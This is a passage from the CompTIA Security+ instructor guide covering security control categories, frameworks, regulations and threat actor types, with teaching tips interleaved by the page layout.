business unit or function could help to resolve these issues?

Development and operations (DevOps) is a cultural shift within an organization to

encourage much more collaboration between developers and system administrators.
DevSecOps embeds the security function within these teams as well.

Lesson 1: Comparing Security Roles and Security Controls | Topic 1A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 8 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 1B
Compare and Contrast Security Control
and Framework Types

Teaching EXAM OBJECTIVES COVERED

Tip 5.1 Compare and contrast various types of controls
5.2 Explain the importance of applicable regulations, standards, or frameworks that impact
This is an important
organizational security posture
subject—students
need to be able to
distinguish between Information security and cybersecurity assurance is met by implementing security
types of security controls. As an information security professional, you must be able to compare types
controls. They will also of security controls. You should also be able to describe how frameworks influence the
often have to work
within the compliance
selection and configuration of controls. By identifying basic security control types and
requirements of how key frameworks and legislation drive compliance, you will be better prepared to
legislation, regulation, select and implement the most appropriate controls for a given scenario.
and frameworks.

Show Slide(s) Security Control Categories

Information and cybersecurity assurance is usually considered to take place within
Security Control an overall process of business risk management. Implementation of cybersecurity
Categories
functions is often the responsibility of the IT department. There are many different
Teaching
ways of thinking about how IT services should be governed to fulfill overall business
Tip
needs. Some organizations have developed IT service frameworks to provide best
practice guides to implementing IT and cybersecurity. These frameworks can shape
Explain that a
control category
company policies and provide checklists of procedures, activities, and technologies that
describes how it is should ideally be in place. Collectively, these procedures, activities, and tools can be
implemented. For referred to as security controls.
example, a document
access policy is A security control is something designed to make give a system or data asset the
managerial, checking properties of confidentiality, integrity, availability, and non-repudiation. Controls can be
that permissions are divided into three broad categories, representing the way the control is implemented:
applied according
to the policy is • Technical—the control is implemented as a system (hardware, software, or
operational, and firmware). For example, firewalls, anti-virus software, and OS access control models
the file system are technical controls. Technical controls may also be described as logical controls.
permissions are
technical in nature. As • Operational—the control is implemented primarily by people rather than systems.
with all classification For example, security guards and training programs are operational controls rather
systems, there is some than technical controls.
degree of overlap,
but the classification • Managerial—the control gives oversight of the information system. Examples could
process is designed
to help assess include risk identification or a tool allowing the evaluation and selection of other
capabilities compared security controls.
to frameworks and
best practice guides.

Lesson 1: Comparing Security Roles and Security Controls | Topic 1B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 9

Categories of security controls.

Although it uses a more complex scheme, it is worth being aware of the way the National
Institute of Standards and Technology (NIST) classifies security controls (nvlpubs.nist.gov/
nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf). Show Slide(s)

Security Control
Security Control Functional Types Functional Types (2)

Security controls can also be classified in types according to the goal or function they Teaching
perform: Tip
Where the category
• Preventive—the control acts to eliminate or reduce the likelihood that an attack can describes the
succeed. A preventative control operates before an attack can take place. Access implementation type,
control lists (ACL) configured on firewalls and file system objects are preventative- a functional type
type controls. Anti-malware software also acts as a preventative control, by blocking describes what the
control is deployed
processes identified as malicious from executing. Directives and standard operating
to do.
procedures (SOPs) can be thought of as administrative versions of preventative
controls. Interaction
Opportunity
• Detective—the control may not prevent or deter access, but it will identify and
record any attempted or successful intrusion. A detective control operates during Get the students to
nominate examples
the progress of an attack. Logs provide one of the best examples of detective-type of different types of
controls. controls:
• Preventive—
• Corrective—the control acts to eliminate or reduce the impact of an intrusion
permissions policy,
event. A corrective control is used after an attack. A good example is a backup encryption, firewall,
system that can restore data that was damaged during an intrusion. Another barriers, locks
example is a patch management system that acts to eliminate the vulnerability • Detective—alarms,
exploited during the attack. monitoring, file
verification
While most controls can be classed functionally as preventative, detective, or • Corrective—incident
corrective, a few other types can be used to define other cases: response policies,
data backup, patch
• Physical—Controls such as alarms, gateways, locks, lighting, security cameras, and management
guards that deter and detect access to premises and hardware are often classed
separately.

Lesson 1: Comparing Security Roles and Security Controls | Topic 1B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 10 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Deterrent—The control may not physically or logically prevent access, but

psychologically discourages an attacker from attempting an intrusion. This could
include signs and warnings of legal penalties against trespass or intrusion.

• Compensating—The control serves as a substitute for a principal control, as

recommended by a security standard, and affords the same (or better) level of
protection but uses a different methodology or technology.

Functional types of security controls. (Images © 123RF.com.)

Show Slide(s) NIST Cybersecurity Framework

NIST Cybersecurity
A cybersecurity framework (CSF) is a list of activities and objectives undertaken to
Framework mitigate risks. The use of a framework allows an organization to make an objective
statement of its current cybersecurity capabilities, identify a target level of capability,
Teaching and prioritize investments to achieve that target. This is valuable for giving a structure
Tip to internal risk management procedures and provides an externally verifiable
Businesses might be statement of regulatory compliance. Frameworks are also important because they save
framework-oriented or an organization from building its security program in a vacuum, or from building the
they might need to use program on a foundation that fails to account for important security concepts.
a framework because
of a legal or regulatory There are many different frameworks, each of which categorize cybersecurity activities
requirement. and controls in slightly different ways. These frameworks are non-regulatory in the
Note that we have sense that they do not attempt to address the specific regulations of a specific industry
already looked at the but represent "best practice" in IT security governance generally. Most organizations
five functions of the will have historically chosen a particular framework; some may use multiple
CSF. Risk management frameworks in conjunction.
is covered later in the
course. Most frameworks are developed for an international audience; others are focused on
a domestic national audience. Most of the frameworks are associated with certification
programs to show that staff and consultants can apply the methodologies successfully.
The National Institute of Standards and Technology (NIST) Cybersecurity Framework
(CSF) is a relatively new addition to the IT governance space and distinct from other
frameworks by focusing exclusively on IT security, rather than IT service provision more
generally (nist.gov/cyberframework). It is developed for a US audience and focuses
somewhat on US government, but its recommendations can be adapted for other
countries and types of organizations.

Lesson 1: Comparing Security Roles and Security Controls | Topic 1B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 11

NIST's Risk Management Framework (RMF) pre-dates the CSF. Where the CSF focuses
on practical cybersecurity for businesses, the RMF is more prescriptive and principally
intended for use by federal agencies (csrc.nist.gov/projects/risk-management/rmf-
overview).
As well as its cybersecurity and risk frameworks, NIST is responsible for issuing the
Federal Information Processing Standards (FIPS) plus advisory guides called Special
Publications (csrc.nist.gov/publications/sp). Many of the standards and technologies
covered in CompTIA Security+ are discussed in these documents.

ISO and Cloud Frameworks Show Slide(s)

International Organization for Standardization (ISO) 27K ISO and Cloud

Frameworks
The International Organization for Standardization (ISO) has produced a cybersecurity
framework in conjunction with the International Electrotechnical Commission (IEC). The Teaching
framework was established in 2005 and revised in 2013. Unlike the NIST framework, Tip
the ISO 27001 Information Security Management standard must be purchased There is a lot of detail
(iso.org/standard/54534.html). ISO 27001 is part of an overall 27000 series of to take in here. Try
information security standards, also known as 27K. Of these, 27002 classifies security not to spend too
long in class, but
controls, 27017 and 27018 reference cloud security, and 27701 focuses on personal
students will need to
data and privacy. be able to match the
organizations and
ISO 31K frameworks to typical
industries and uses.
Where ISO 21K is a cybersecurity framework, ISO 31K (iso.org/iso-31000-risk-
management.html) is an overall framework for enterprise risk management (ERM).
ERM considers risks and opportunities beyond cybersecurity by including financial,
customer service, competition, and legal liability factors. ISO 31K establishes best
practices for performing risk assessments.

Cloud Security Alliance

The not-for-profit organization Cloud Security Alliance (CSA) produces various
resources to assist cloud service providers (CSP) in setting up and delivering secure
cloud platforms. These resources can also be useful for cloud consumers in evaluating
and selecting cloud services.
• Security Guidance (cloudsecurityalliance.org/research/guidance)—a best practice
summary analyzing the unique challenges of cloud environments and how on-
premises controls can be adapted to them.

• Enterprise reference architecture (ea.cloudsecurityalliance.org)—best practice

methodology and tools for CSPs to use in architecting cloud solutions. The
solutions are divided across a number of domains, such as risk management and
infrastructure, application, and presentation services.

• Cloud controls matrix (cloudsecurityalliance.org/research/working-groups/cloud-

controls-matrix)—lists specific controls and assessment guidelines that should be
implemented by CSPs. For cloud consumers, the matrix acts as a starting point
for cloud contracts and agreements as it provides a baseline level of security
competency that the CSP should meet.

Statements on Standards for Attestation Engagements (SSAE)

Service Organization Control (SOC)
The Statements on Standards for Attestation Engagements (SSAE) are audit
specifications developed by the American Institute of Certified Public Accountants

Lesson 1: Comparing Security Roles and Security Controls | Topic 1B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 12 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

(AICPA). These audits are designed to assure consumers that service providers—
notably cloud providers, but including any type of hosted or third-party service—
meet professional standards (aicpa.org/interestareas/frc/assuranceadvisoryservices/
serviceorganization-smanagement.html). Within SSAE No. 18 (the current specification),
there are several levels of reporting:
• Service Organization Control (SOC2)— evaluates the internal controls implemented
by the service provider to ensure compliance with Trust Services Criteria (TSC) when
storing and processing customer data. TSC refers to security, confidentiality, integrity,
availability, and privacy properties. An SOC2 Type I report assesses the system design,
while a Type II report assesses the ongoing effectiveness of the security architecture
over a period of 6-12 months. SOC2 reports are highly detailed and designed to
be restricted. They should only be shared with the auditor and regulators and with
important partners under non disclosure agreement (NDA) terms.

• SOC3—a less detailed report certifying compliance with SOC2. SOC3 reports can be
freely distributed.

Show Slide(s) Benchmarks and Secure Configuration Guides

Benchmarks and
Although a framework gives a "high-level" view of how to plan IT services, it does not
Secure Configuration generally provide detailed implementation guidance. At a system level, the deployment
Guides of servers and applications is covered by benchmarks and secure configuration guides.

Teaching Center for Internet Security (CIS)

Tip
Explain the difference The Center for Internet Security (cisecurity.org) is a not-for-profit organization
between a framework (founded partly by The SANS Institute). It publishes the well-known "The 20 CIS
and benchmark. Note Controls." The CIS-RAM (Risk Assessment Method) can be used to perform an overall
the use of benchmarks evaluation of security posture (learn.cisecurity.org/cis-ram).
for both host/network
appliance deployment CIS also produces benchmarks for different aspects of cybersecurity. For example, there
(operations) and are benchmarks for compliance with IT frameworks and compliance programs, such as
coding projects PCI DSS, NIST 800-53, SOX, and ISO 27000. There are also product-focused benchmarks,
(development).
such as for Windows Desktop, Windows Server, macOS, Linux, Cisco, web browsers,
web servers, database and email servers, and VMware ESXi. The CIS-CAT (Configuration
Access Tool) can be used with automated vulnerability scanners to test compliance
against these benchmarks (cisecurity.org/cybersecurity-tools/cis-cat-pro/cis-cat-faq).

OS/Network Appliance Platform/Vendor-specific Guides

Operating system (OS) best practice configuration lists the settings and controls that
should be applied for a computing platform to work in a defined roles, such as client
workstation, authentication server, network switch/router/firewall, web/application
server, and so on.
Most vendors will provide guides, templates, and tools for configuring and validating
the deployment of network appliances, operating systems, web servers, and
application/database servers. The security configurations for each of these devices
will vary not only by vendor but by device and version as well. The vendor's support
portal will host the configuration guides (along with setup/install guides and software
downloads and updates) or they can be easily located using a web search engine.
There is also detailed guidance available from several organizations to cover both
vendor-neutral deployments and to provide third-party assessment and advice on
deploying vendor products. Apart from the CIS controls, some notable sources include:
• Department of Defense Cyber Exchange provides Security Technical Implementation
Guides (STIGs) with hardening guidelines for a variety of software and hardware
solutions (public.cyber.mil).

Lesson 1: Comparing Security Roles and Security Controls | Topic 1B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 13

• National Checklist Program (NCP) by NIST provides checklists and benchmarks for a
variety of operating systems and applications (nvd.nist.gov/ncp/repository).

Application Servers
Most application architectures use a client/server model. This means that part of the
application is a client software program, installed and run on separate hardware to
the server application code. The client interacts with the server over a network. Attacks
can therefore be directed at the local client code, at the server application, or at the
network channel between them. As well as coding issues, the applications need to take
account of platform issues. The client application might be running in a computing host
alongside other, potentially malicious, software. Code that runs on the client should
not be trusted. The server-side code should implement routines to verify that input
conforms to what is expected.

Web Server Applications

A web application is a particular type of client/server architecture. A web application
leverages existing technologies to simplify development. The application uses a generic
client (a web browser), and standard network protocols and servers (HTTP/HTTPS). The
specific features of the application are developed using code running on the clients
and servers. Web applications are also likely to use a multi-tier architecture, where the
server part is split between application logic and data storage and retrieval. Modern
web applications may use even more distributed architectures, such as microservices
and serverless.
The Open Web Application Security Project (OWASP) is a not-for-profit, online
community that publishes several secure application development resources, such as
the Top 10 list of the most critical application security risks (owasp.org/www-project-
top-ten). OWASP has also developed resources, such as the Zed Attack Proxy and Juice
Shop (a deliberately unsecure web application), to help investigate and understand
penetration testing and application security issues.

Regulations, Standards, and Legislation Show Slide(s)

The key frameworks, benchmarks, and configuration guides may be used to Regulations,
demonstrate compliance with a country's legal/regulatory requirements or with Standards, and
industry-specific regulations. Due diligence is a legal term meaning that responsible Legislation
persons have not been negligent in discharging their duties. Negligence may create
criminal and civil liabilities. Many countries have enacted legislation that criminalizes Teaching
negligence in information management. In the US, for example, the Sarbanes-Oxley Tip
Act (SOX) mandates the implementation of risk assessments, internal controls, and The syllabus does not
audit procedures. The Computer Security Act (1987) requires federal agencies to list specific examples
develop security policies for computer systems that process confidential information. of legislation, so these
are illustrative rather
In 2002, the Federal Information Security Management Act (FISMA) was introduced to
than comprehensive.
govern the security of data processed by federal government agencies. Students should focus
on the fact that there
Some regulations have specific cybersecurity control requirements; others simply mandate can be many different
"best practice," as represented by a particular industry or international framework. It may sources of compliance
be necessary to perform mapping between different industry frameworks, such as NIST requirements.
and ISO 27K, if a regulator specifies the use of one but not another. Conversely, the use of Note the difference
frameworks may not be mandated as such, but auditors are likely to expect them to be in between vertical
place as a demonstration of a strong and competent security program. (sector-specific) and
horizontal (consumer-
specific, cross-sector)
Personal Data and the General Data Protection Regulation (GDPR) legislation.

Where some types of legislation address cybersecurity due diligence, others focus in
whole or in part on information security as it affects privacy or personal data. Privacy

Lesson 1: Comparing Security Roles and Security Controls | Topic 1B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 14 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

is a distinct concept from security. Privacy requires that collection and processing
of personal information be both secure and fair. Fairness and the right to privacy,
as enacted by regulations such as the European Union's General Data Protection
Regulation (GDPR), means that personal data cannot be collected, processed, or
retained without the individual's informed consent. Informed consent means that the
data must be collected and processed only for the stated purpose, and that purpose
must be clearly described to the user in plain language, not legalese. GDPR (ico.org.
uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-
regulation-gdpr) gives data subjects rights to withdraw consent, and to inspect, amend,
or erase data held about them.

National, Territory, or State Laws

Compliance issues are complicated by the fact that laws derive from different sources.
For example, the GDPR does not apply to American data subjects, but it does apply
to American companies that collect or process the personal data of people in EU
countries. In the US, there are national federal laws, state laws, plus a body of law
applying to US territories (Puerto Rico, the US Virgin Islands, Guam, and American
Samoa). Federal laws tend to focus either on regulations like FISMA for federal
departments or as "vertical" laws affecting a particular industry. Examples of the latter
include the Gramm–Leach–Bliley Act (GLBA) for financial services, and the Health
Insurance Portability and Accountability Act (HIPAA).
Some states have started to introduce "horizontal" personal data regulations, similar
to the approach taken by the GDPR. One high-profile example of state legislation is
the California Consumer Privacy Act (CCPA) (csoonline.com/article/3292578/california-
consumer-privacy-act-what-you-need-to-know-to-be-compliant.html).

Varonis' blog contains a useful overview of privacy laws in the US (varonis.com/blog/us-

privacy-laws).

Payment Card Industry Data Security Standard (PCI DSS)

Compliance issues can also arise from industry-mandated regulations. For example,
the Payment Card Industry Data Security Standard (PCI DSS) defines the safe handling
and storage of financial information (pcisecuritystandards.org/pci_security).

Lesson 1: Comparing Security Roles and Security Controls | Topic 1B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 15

Review Activity:
Security Control and Framework Types
Answer the following questions:

1. You have implemented a secure web gateway that blocks access to a social
networking site. How would you categorize this type of security control?

It is a technical type of control (implemented in software) and acts as a preventive

measure.

2. A company has installed motion-activated floodlighting on the grounds

around its premises. What class and function is this security control?

It would be classed as a physical control and its function is both detecting and
deterring.

3. A firewall appliance intercepts a packet that violates policy. It automatically

updates its Access Control List to block all further packets from the source
IP. What TWO functions is the security control performing?

Preventive and corrective.

4. If a security control is described as operational and compensating, what can

you determine about its nature and function?

That the control is enforced by a a person rather than a technical system, and that
the control has been developed to replicate the functionality of a primary control, as
required by a security standard.

5. If a company wants to ensure it is following best practice in choosing

security controls, what type of resource would provide guidance?

A cybersecurity framework and/or benchmark and secure configuration guides.

Lesson 1: Comparing Security Roles and Security Controls | Topic 1B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 16 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 1
Summary
Teaching You should be able to compare and contrast security controls using categories and
Tip functional types. You should also be able to explain how regulations, frameworks, and
Check that students
benchmarks are used to develop and validate security policies and control selection.
are confident about
the content that has
been covered. If there
Guidelines for Comparing Security Roles and
is time, revisit any Security Controls
content examples that
they have questions Follow these guidelines when you assess the use of security controls, frameworks, and
about. If you have benchmarks in your organization:
used all the available
time for this lesson • Create a security mission statement and supporting policies that emphasizes the
block, note the issues, importance of the CIA triad: confidentiality, integrity, availability.
and schedule time for
a review later in the • Assign roles so that security tasks and responsibilities are clearly understood and
course. that impacts to security are assessed and mitigated across the organization.
Interaction
• Consider creating business units, departments, or projects to support the security
Opportunity
function, such as a SOC, CSIRT, and DevSecOps.
Optionally, discuss
with students how • Identify and assess the laws and industry regulations that impose compliance
the concepts from requirements on your business.
this lesson could be
used within their own • Select a framework that meets compliance requirements and business needs.
workplaces, or how
these principles are • Create a matrix of security controls that are currently in place to identify categories
already being put into
and functions—consider deploying additional controls for any unmatched
practice.
capabilities.

• Use benchmarks, secure configuration guides, and development best practices as

baselines for deploying assets.

• Evaluate security capabilities against framework tiers and identify goals for
developing additional cybersecurity competencies and improving overall
information security assurance.

Lesson 1: Comparing Security Roles and Security Controls

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 2
Explaining Threat Actors and
Threat Intelligence

LESSON INTRODUCTION Teaching

Tip
To make an effective security assessment, you must be able to explain strategies The first few lessons
for both defense and attack. Your responsibilities are likely to lie principally in in the course pursue
defending assets, but to do this you must be able to explain the tactics, techniques, the general theme
and procedures of threat actors. You must also be able to differentiate the types and of assessment. This
capabilities of threat actors. As the threat landscape is continually evolving, you must lesson covers threat
awareness and
also be able to identify reliable sources of threat intelligence and research.
research. As with
most areas of IT, it
Lesson Objectives is vital to keep up to
date with the latest
In this lesson, you will: news and trends in
cybersecurity.
• Explain threat actor types and attack vectors.

• Explain threat intelligence sources.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 18 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 2A
Explain Threat Actor Types and
Attack Vectors

Teaching EXAM OBJECTIVES COVERED

Tip 1.5 Explain different threat actors, vectors, and intelligence sources
Objective 1.5 is
covered here
and in Topic 2B.
Classifying and evaluating the capabilities of threat actor types enables you to assess
Students must be
able to distinguish and mitigate risks more effectively. Understanding the methods by which threat actors
vulnerability, threat, infiltrate networks and systems is essential for you to assess the attack surface of your
and risk, and networks and deploy controls to block attack vectors.
categorize threat actor
types for the exam.
Vulnerability, Threat, and Risk
Show Slide(s)
As part of security assessment and monitoring, security teams must identify ways
in which their systems could be attacked. These assessments involve vulnerabilities,
Vulnerability, Threat, threats, and risk:
and Risk
• Vulnerability is a weakness that could be triggered accidentally or exploited
Teaching intentionally to cause a security breach. Examples of vulnerabilities include
Tip improperly configured or installed hardware or software, delays in applying and
Make sure students testing software and firmware patches, untested software and firmware patches,
can distinguish these the misuse of software or communication protocols, poorly designed network
terms and understand architecture, inadequate physical security, insecure password usage, and design
how assessment of
flaws in software or operating systems, such as unchecked user input.
vulnerability and
threat facilitates
• Threat is the potential for someone or something to exploit a vulnerability and
calculation of risk.
breach security. A threat may be intentional or unintentional. The person or thing
that poses the threat is called a threat actor or threat agent. The path or tool used by
a malicious threat actor can be referred to as the attack vector.

• Risk is the likelihood and impact (or consequence) of a threat actor exploiting
a vulnerability. To assess risk, you identify a vulnerability and then evaluate the
likelihood of it being exploited by a threat and the impact that a successful exploit
would have.

Relationship between vulnerability, threat, and risk.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 19

These definitions and more information on risk management are contained in NIST's SP
800-30 (nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-30r1.pdf).

Attributes of Threat Actors Show Slide(s)

Historically, cybersecurity techniques were highly dependent on the identification Attributes of Threat
of "static" known threats, such as viruses or rootkits, Trojans, botnets, and specific Actors
software vulnerabilities. It is relatively straightforward to identify and scan for these
types of threats with automated software. Unfortunately, adversaries were able to Teaching
develop means of circumventing this type of signature-based scanning. Tip
Note that the detailed
The sophisticated nature of modern cybersecurity threats means that it is important
process of analyzing
to be able to describe and analyze behaviors. This analysis involves identifying the the threat posed by
attributes of threat actors in terms of location, intent, and capability. a particular actor or
adversary group is
Internal/External described as threat
modeling. Discuss
An external threat actor or agent is one that has no account or authorized access how threat sources
to the target system. A malicious external threat must infiltrate the security system and motivations
using malware and/or social engineering. Note that an external actor may perpetrate change over time.
For example,
an attack remotely or on-premises (by breaking into the company's headquarters, Internet threats have
for instance). It is the threat actor that is defined as external, rather than the changed from being
attack method. mostly opportunistic
vandalism to
Conversely, an internal (or insider) threat actor is one that has been granted structured threats
permissions on the system. This typically means an employee, but insider threat can associated with
also arise from contractors and business partners. organized crime and
state-backed groups.
Intent/Motivation
Intent describes what an attacker hopes to achieve from the attack, while motivation
is the attacker's reason for perpetrating the attack. A malicious threat actor could
be motivated by greed, curiosity, or some sort of grievance, for instance. The intent
could be to vandalize and disrupt a system or to steal something. Threats can be
characterized as structured or unstructured (or targeted versus opportunistic)
depending on the degree to which your own organization is targeted specifically. For
example, a criminal gang attempting to steal customers' financial data is a structured,
targeted threat; a script kiddie launching some variant on the "I Love You" email worm
is an unstructured, opportunistic threat.
Malicious intents and motivations can be contrasted with accidental or unintentional
threat actors and agents. Unintentional threat actors represents accidents, oversights,
and other mistakes.

Level of Sophistication/Capability and Resources/Funding

You must also consider the sophistication and level of resources/funding that different
adversaries might possess. Capability refers to a threat actor's ability to craft novel
exploit techniques and tools. The least capable threat actor relies on commodity
attack tools that are widely available on the web or dark web. More capable actors can
fashion zero-day exploits in operating systems, applications software, and embedded
control systems. At the highest level, a threat actor might make use of non-cyber tools,
such as political or military assets. Capability is only funded through a substantial
budget. Sophisticated threat actor groups need to be able to acquire resources, such
as customized attack tools and skilled strategists, designers, coders, hackers, and social
engineers. The most capable threat actor groups receive funding from nation states
and criminal syndicates.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 20 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Hackers, Script Kiddies, and Hacktivists

Hackers, Script
To fully assess intent and capability, it is helpful to identify different categories of
Kiddies, and threat actors.
Hacktivists
Hackers
Interaction
Opportunity Hacker describes an individual who has the skills to gain access to computer systems
Get students to relate through unauthorized or unapproved means. Originally, hacker was a neutral term for
each of these types to a user who excelled at computer programming and computer system administration.
intent/motivation and Hacking into a system was a sign of technical skill and creativity that gradually
capability. became associated with illegal or malicious system intrusions. The terms black hat
Terminology such (unauthorized) and white hat (authorized) are used to distinguish these motivations.
as black/white hat Of course, between black and white lie some shades of gray. A gray hat hacker (semi-
is non-inclusive and
authorized) might try to find vulnerabilities in a product or network without seeking the
is being replaced
by neutral terms approval of the owner; but they might not try to exploit any vulnerabilities they find. A
(non-authorized/ gray hat might seek voluntary compensation of some sort (a bug bounty), but will not
authorized). use an exploit as extortion. A white hat hacker always seeks authorization to perform
penetration testing of private and proprietary systems.

Script Kiddies
Show Slide(s)
A script kiddie is someone who uses hacker tools without necessarily understanding
State Actors and
how they work or having the ability to craft new attacks. Script kiddie attacks might
Advanced Persistent have no specific target or any reasonable goal other than gaining attention or proving
Threats technical abilities.

Teaching Hacker Teams and Hacktivists

Tip
Get students to relate The historical image of a hacker is that of a loner, acting as an individual with few
this type to intent/ resources or funding. While any such "lone hacker" remains a threat that must be
motivation and accounted for, threat actors are now likely to work as part of some sort of team or
capability. group. The collaborative team effort means that these types of threat actors are able to
The Sony hack (http:// develop sophisticated tools and novel strategies.
www.slate.com/
articles/technology/ A hacktivist group, such as Anonymous, WikiLeaks, or LulzSec, uses cyber weapons
users/2015/11/sony_ to promote a political agenda. Hacktivists might attempt to obtain and release
employees_on_the_ confidential information to the public domain, perform denial of service (DoS) attacks,
hack_one_year_later. or deface websites. Political, media, and financial groups and companies are probably
html) and WannaCry
(wired.com/2017/05/
most at risk, but environmental and animal advocacy groups may target companies in
wannacry- a wide range of industries.
ransomware-hackers-
made-real-amateur-
mistakes), both State Actors and Advanced Persistent Threats
blamed on North
Korea, are good Most nation states have developed cybersecurity expertise and will use cyber weapons
examples of state- to achieve both military and commercial goals. The security company Mandiant's APT1
sponsored attacks. report into Chinese cyber espionage units (fireeye.com/content/dam/fireeye-www/
China's Great Cannon services/pdfs/mandiant-apt1-report.pdf) was hugely influential in shaping the language
(computerworld. and understanding of modern cyber-attack life cycles. The term Advanced Persistent
com/ article/2908504/ Threat (APT) was coined to understand the behavior underpinning modern types of
thegreat- cannon- cyber adversaries. Rather than think in terms of systems being infected with a virus or
ofchina- enforcesinte-
rnetcensorship.html)
Trojan, an APT refers to the ongoing ability of an adversary to compromise network
is a good example security—to obtain and maintain access—using a variety of tools and techniques.
of how nation states
State actors have been implicated in many attacks, particularly on energy and health
can deploy significant
cybersecurity network systems. The goals of state actors are primarily espionage and strategic
resources to achieve advantage, but it is not unknown for countries—North Korea being a good example—
their aims. to target companies purely for commercial gain.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 21

Show Slide(s)

Criminal Syndicates
and Competitors

Teaching
Tip
SIM swap fraud is a
good illustration of
organized crime-type
activity (digitaltrends.
Researchers such as FireEye report on the activities of organized crime and nation state actors. com/mobile/sim-swap-
(Screenshot used with permission from fireeye.com.) fraud-explained).
The Garmin
State actors will work at arm's length from the national government, military, or ransomware incident
illustrates the blurred
security service that sponsors and protects them, maintaining "plausible deniability."
lines between
They are likely to pose as independent groups or even as hacktivists. They may wage criminal syndicates,
false flag campaigns that try to implicate other states (media.kasperskycontenthub. state groups, and
com/wp-content/uploads/sites/43/2019/11/20151759/KSB2019_APT-predictions-2020_ intent/motivation
web.pdf). (zdnet.com/article/
hacker-gang-behind-
garmin-attack-doesnt-
Criminal Syndicates and Competitors have-a-history-of-
stealing-user-data).
In many countries, cybercrime has overtaken physical crime both in terms of number
of incidents and losses. A criminal syndicate can operate across the Internet from
different jurisdictions than its victim, increasing the complexity of prosecution. Show Slide(s)
Syndicates will seek any opportunity for criminal profit, but typical activities are
financial fraud (both against individuals and companies) and extortion. Insider Threat Actors

Most competitor-driven espionage is thought to be pursued by state actors, but it is not Teaching
inconceivable that a rogue business might use cyber espionage against its competitors. Tip
Such attacks could aim at theft or at disrupting a competitor's business or damaging The Capital One
their reputation. Competitor attacks might be facilitated by employees who have (scmagazine.com/
recently changed companies and bring an element of insider knowledge with them. home/security-news/
capital-one-breach-
exposes-not-just-data-
Insider Threat Actors but-dangers-of-cloud-
misconfigurations)
Many threat actors operate externally from the networks they target. An external actor and Twitter (vice.com/
has to break into the system without having been granted any legitimate permissions. en_us/article/jgxd3d/
An insider threat arises from an actor who has been identified by the organization and twitter-insider-access-
granted some sort of access. Within this group of internal threats, you can distinguish panel-account-hacks-
biden-uber-bezos)
insiders with permanent privileges, such as employees, from insiders with temporary
breaches are good
privileges, such as contractors and guests. The Computer Emergency Response Team examples of insider
(CERT) at Carnegie Mellon University's definition of a malicious insider is: threat.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 22 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

A current or former employee, contractor, or business partner who has or had

authorized access to an organization’s network, system, or data and intentionally
exceeded or misused that access in a manner that negatively affected the confidentiality,
integrity, or availability of the organization’s information or information systems.
(insights.sei.cmu.edu/insider-threat/2017/03/cert-definition-of-insider-threat---
updated.html)

There is the blurred case of former insiders, such as ex-employees now working at another
company or who have been dismissed and now harbor a grievance. These can be classified
as internal threats or treated as external threats with insider knowledge, and possibly some
residual permissions, if effective offboarding controls are not in place.

CERT identifies the main motivators for malicious insider threats as sabotage,
financial gain, and business advantage. Like external threats, insider threats can be
opportunistic or targeted. Again, the key point here is to identify likely motivations,
such as employees who might harbor grievances or those likely to perpetrate fraud.
An employee who plans and executes a campaign to modify invoices and divert funds
is launching a structured attack; an employee who tries to guess the password on
the salary database a couple of times, having noticed that the file is available on the
network, is perpetrating an opportunistic attack. You must also assess the possibility
that an insider threat may be working in collaboration with an external threat actor
or group.
Insider threats can be categorized as unintentional. An unintentional or inadvertent
insider threat is a vector for an external actor, or a separate—malicious—internal
actor to exploit, rather than a threat actor in its own right. Unintentional threats usually
arise from lack of awareness or from carelessness, such as users demonstrating poor
password management. Another example of unintentional insider threat is the concept
of shadow IT, where users purchase or introduce computer hardware or software to
the workplace without the sanction of the IT department and without going through a
procurement and security analysis process. The problem of shadow IT is exacerbated
by the proliferation of cloud services and mobile devices, which are easy for users to
obtain. Shadow IT creates a new unmonitored attack surface for malicious adversaries
to exploit.

Show Slide(s) Attack Surface and Attack Vectors

Attack Surface and
The attack surface is all the points at which a malicious threat actor could try to
Attack Vectors exploit a vulnerability. To evaluate the attack surface, you need to consider the type
of threat actor. The attack surface for an external actor is (or should be) far smaller
